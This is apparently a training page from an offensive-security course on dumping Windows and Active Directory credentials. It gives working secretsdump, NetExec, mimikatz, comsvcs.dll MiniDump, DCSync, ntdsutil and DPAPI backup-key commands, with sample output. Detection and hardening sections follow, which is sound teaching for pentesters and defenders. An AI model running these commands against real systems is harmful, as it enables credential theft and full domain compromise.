Skip to content
Pwnversity
AD-CREDSadvanced · 13 min · upd. 2026-11

Credential Dumping

T1003.001T1003.002T1003.003T1003.004T1003.005T1003.006T1555.004

With administrator or SYSTEM privileges on a machine, the next step is to harvest credentials to move to other machines and escalate in the domain. Windows keeps secrets in several places: the SAM database (local accounts), the LSA Secrets, the domain credential cache, the memory of the LSASS process (active sessions), the DPAPI stores and, on a domain controller, NTDS.dit with the hashes of the whole domain. Each store requires different privileges and yields a different kind of secret, and not all of them are good for the same things.

flowchart TD
    A["Admin / SYSTEM<br/>on a machine"] --> S["SAM<br/>local NT hashes"]
    A --> L["LSA Secrets<br/>service accounts, machine account"]
    A --> C["Domain cache<br/>DCC2 (cracking only)"]
    A --> M["LSASS<br/>sessions' hashes, tickets, keys"]
    A --> P["DPAPI<br/>browsers, Credential Manager"]
    M -->|"a DA's session"| DA["Domain Admin"]
    DA --> N["NTDS.dit / DCSync<br/>the whole domain, krbtgt included"]

Windows keeps credentials in memory for single sign-on: while someone has a session, their authentication material is in LSASS. Whoever is SYSTEM can read that memory and the registry hives. The attacker turns “admin on one machine” into “the credentials of everyone who logged on to it”, including domain admins if they passed through.

Store Location Contains You need
SAM HKLM\SAM (+ SYSTEM for the bootkey) NT hashes of local accounts Local admin
LSA Secrets HKLM\SECURITY Service and task passwords, machine account ($MACHINE.ACC), autologon DefaultPassword, the DPAPI_SYSTEM key Local admin
Domain cache HKLM\SECURITY\Cache DCC2 verifiers for the latest domain users (10 by default) Local admin
LSASS lsass.exe memory NT hashes, AES keys and Kerberos tickets of active sessions; cleartext passwords if WDigest is on SeDebugPrivilege or SYSTEM
DPAPI User profiles Browser passwords, Credential Manager, RDP, Wi-Fi The user’s password, the DPAPI_SYSTEM key or the domain backup key
NTDS.dit C:\Windows\NTDS\ on DCs Hashes of every domain account, plus history Admin on a DC or replication rights
AD (attributes) LDAP LAPS and gMSA passwords Read permission on the attribute (ACL)
Secret Pass-the-… Crack (hashcat) Notes
NT hash Pass-the-hash, overpass-the-hash -m 1000 The most useful: works as is
Kerberos AES key Pass-the-key Usually not needed Quieter than the NT hash
Kerberos ticket Pass-the-ticket No Valid until it expires
DCC2 ($DCC2$10240#user#…) No -m 2100 (slow) Only useful if cracked
Net-NTLMv2 (from LLMNR) No (relay, yes) -m 5600 Not an NT hash
  • Credential Guard: isolates NT hashes and TGTs in a virtualization-protected process (LSAIso.exe). Since Windows 11 22H2 it’s on by default on Enterprise and Education with suitable hardware, and on domain-joined Windows Server 2025 (except DCs). It does not protect the SAM or NTDS.dit.
  • LSA protection (RunAsPPL): LSASS as a protected process; a regular process can’t read its memory even as SYSTEM. It’s enabled by default on new installs of Windows 11 22H2 or later that are domain-joined and HVCI-capable. In the registry, RunAsPPL = 1 (with UEFI lock) or 2 (without; only enforced on Windows 11 22H2 or later).
  • WDigest off by default since Windows 8.1 / Server 2012 R2: no more cleartext passwords in LSASS unless someone enables UseLogonCredential.
Technique Where Noise
Remote SAM + LSA Secrets Any machine with local admin Medium (remote registry, temporary service)
Remote LSASS dump (lsassy) Machines with interesting sessions High if there’s EDR
Local LSASS dump and offline parsing A machine you have a shell on High if there’s EDR
DCSync From any machine with replication rights Low on the network, very visible on the DC (4662)
Copying NTDS.dit (VSS, ntdsutil) A shell on a DC Medium
Backup Operators (SeBackupPrivilege) Any DC Medium (copying hives and NTDS.dit)
DPAPI User machines Low
Ventana de terminal
secretsdump.py ./Administrator@10.10.10.21 -hashes :8846f7eaee8fb117ad06bdd830b7586c
nxc smb 10.10.10.0/24 -u Administrator -H 8846f7eaee8fb117ad06bdd830b7586c --local-auth --sam --lsa
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c:::
[*] Dumping cached domain logon information (domain/username:hash)
CORP.LOCAL/helpdesk-admin:$DCC2$10240#helpdesk-admin#e4f1…
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
CORP\WS021$:aad3b435b51404eeaad3b435b51404ee:2b4f…
[*] _SC_SQLAgent
corp\svc-sql:Summer2019!
  • aad3b435… as the LM hash means empty (LM disabled): what matters is the NT hash.
  • _SC_<service> is the cleartext password of the account that service runs as.
  • The machine account hash (WS021$) lets you request tickets as the machine (a Silver Ticket towards itself, RBCD…).

Locally, if you’d rather not do it over the network:

Ventana de terminal
reg save HKLM\SAM sam.save
reg save HKLM\SYSTEM system.save
reg save HKLM\SECURITY security.save
Ventana de terminal
secretsdump.py -sam sam.save -system system.save -security security.save LOCAL

This is where the credentials of open sessions are: if a domain admin has a session on the machine, their hash is here.

Ventana de terminal
# Remote: dumps and parses without leaving the file on your machine's disk
nxc smb 10.10.10.21 -u Administrator -H 8846f7… --local-auth -M lsassy

Locally, dumping and parsing can be split:

Ventana de terminal
# Dump with a signed Windows binary (needs SYSTEM or SeDebugPrivilege)
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump <lsass_PID> C:\Windows\Temp\l.dmp full

Run it from an elevated PowerShell: in cmd.exe, SeDebugPrivilege is present but disabled and the dump usually fails.

Ventana de terminal
pypykatz lsa minidump l.dmp # on your machine, offline

With mimikatz, directly:

privilege::debug
sekurlsa::logonpasswords # NT hashes, keys and (with WDigest) passwords
sekurlsa::ekeys # Kerberos AES keys
sekurlsa::tickets /export # tickets to .kirbi files

With replication rights on the domain (Domain Admins, Enterprise Admins, Administrators, the DCs, or a misdelegated ACL), you ask the DC to replicate secrets to you as if you were another DC, without touching its disk:

Ventana de terminal
secretsdump.py -just-dc-user krbtgt corp.local/admin:'P4ss!'@dc01.corp.local
secretsdump.py -just-dc-ntlm corp.local/admin:'P4ss!'@dc01.corp.local -outputfile corp-ntds
nxc smb dc01.corp.local -u admin -p 'P4ss!' --ntds drsuapi # without an argument it asks first: the dump can crash some DCs

The krbtgt hash lets you forge Golden Tickets (persistence).

With a shell on the DC, the alternative to DCSync is copying the database and the SYSTEM hive:

Ventana de terminal
ntdsutil "ac i ntds" "ifm" "create full C:\Windows\Temp\ifm" q q
Ventana de terminal
secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL

If you’re a member of Backup Operators, SeBackupPrivilege lets you copy protected files and hives even without being an administrator (privilege abuse).

User secrets (browsers, Credential Manager, saved RDP connections) are encrypted with per-user master keys. They’re decrypted with the user’s password, their NT hash or, for the whole domain, the DPAPI backup key kept by the DCs (which in practice is never rotated):

Ventana de terminal
nxc smb 10.10.10.0/24 -u Administrator -H 8846f7… --local-auth --dpapi
dpapi.py backupkeys -t corp.local/admin:'P4ss!'@dc01.corp.local --export # domain backup key
  1. On every new machine: SAM, LSA Secrets and cache (quiet and almost always useful).
  2. Check who has a session (nxc smb … --loggedon-users, BloodHound HasSession) before touching LSASS: dump it only where someone you care about is logged on.
  3. Check the protections (LSA protection, Credential Guard) before attempting the dump.
  4. With each new secret, decide its use: pass-the-hash, pass-the-key, cracking or nothing.
  5. With replication rights: DCSync krbtgt and the accounts you need, not the whole domain unless necessary.
  • Impacket secretsdump.py and dpapi.py (card).
  • NetExec: --sam, --lsa, --ntds, --dpapi, -M lsassy.
  • mimikatz, pypykatz, lsassy, nanodump for LSASS.
  • SharpDPAPI and DonPAPI for DPAPI.
  • hashcat (card): -m 1000 (NT), -m 2100 (DCC2).

From local admin to credentials reusable on other machines (lateral movement); from a DC or DCSync, to every account in the domain, krbtgt included: full and persistent compromise.

  • LSASS: Sysmon 10 (ProcessAccess) with TargetImage lsass.exe and memory-read rights from unusual processes; rundll32 … comsvcs.dll, MiniDump on the command line; new .dmp files (Sysmon 11).
  • DCSync: 4662 on a DC with the replication GUIDs 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2 (Get-Changes) and 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2 (Get-Changes-All) requested by an account that isn’t a DC. High fidelity.
  • SAM/SECURITY: reg save of those hives (4688 / Sysmon 1); remote registry access.
  • NTDS.dit: ntdsutil … ifm, volume shadow copy creation on a DC, reads of ntds.dit outside system processes.
  • DPAPI: extraction of the domain backup key: on the DC, 4662 on a SecretObject whose name contains BCKUPKEY, requested by an account that doesn’t administer the DC.

Sysmon 1, 10 and 11 on endpoints and servers; Directory Service Access auditing on the DCs (4662); EDR; Microsoft Defender for Identity for DCSync and DPAPI backup key requests.

  1. Credential Guard and LSA protection (RunAsPPL) on every compatible machine; the ASR rule Block credential stealing from the Windows local security authority subsystem.
  2. WDigest off (UseLogonCredential = 0) and an alert if someone changes it.
  3. Tiering model: domain admins don’t log on to lower-tier workstations or servers, so their credentials are never in that memory.
  4. Protected Users for administrative accounts (credentials aren’t cached, no NTLM or delegation).
  5. Lower CachedLogonsCount where offline logon isn’t needed.
  6. Replication rights only for the DCs and the administrative groups; review them with BloodHound or PingCastle.
  7. Windows LAPS for local admin and gMSA for service accounts (no more service passwords in LSA Secrets reused across machines).
  8. DC backups treated as tier 0.

If a DC fell or there was a DCSync: rotate krbtgt twice (with the replication interval in between), reset privileged and service accounts, rebuild compromised machines and hunt for persistence (Golden Ticket, ACLs on AdminSDHolder, new accounts). The DPAPI backup key can’t easily be rotated: if it was exported, the domain’s DPAPI secrets must be treated as exposed.

  • HiveNightmare / SeriousSAM (CVE-2021-36934, 2021): a wrong ACL on C:\Windows\System32\config let unprivileged users read SAM, SYSTEM and SECURITY from volume shadow copies.
  • Zerologon (CVE-2020-1472, 2020): a cryptographic flaw in Netlogon let you zero out a DC’s machine account password without credentials and, with it, perform DCSync.
  • mimikatz (Benjamin Delpy, 2011) made LSASS dumping accessible to anyone and is the reason for much of today’s protection (Credential Guard, LSA protection).
  • LSASS dumping and DCSync appear in most documented ransomware intrusions (MITRE T1003.001 and T1003.006).

More on NVD (https://nvd.nist.gov/vuln/search).

  • SAM, LSA Secrets and domain cache from every compromised machine.
  • Cleartext service passwords (_SC_…) and autologon DefaultPassword.
  • Active sessions identified before touching LSASS.
  • Protections checked (LSA protection, Credential Guard, WDigest).
  • Hashes and keys sorted by use (PtH, pass-the-key, cracking).
  • Replication rights (DCSync) and the Backup Operators route reviewed.
  • DPAPI for interesting users and, if relevant, the domain backup key.
  • Dump files removed from machines at the end.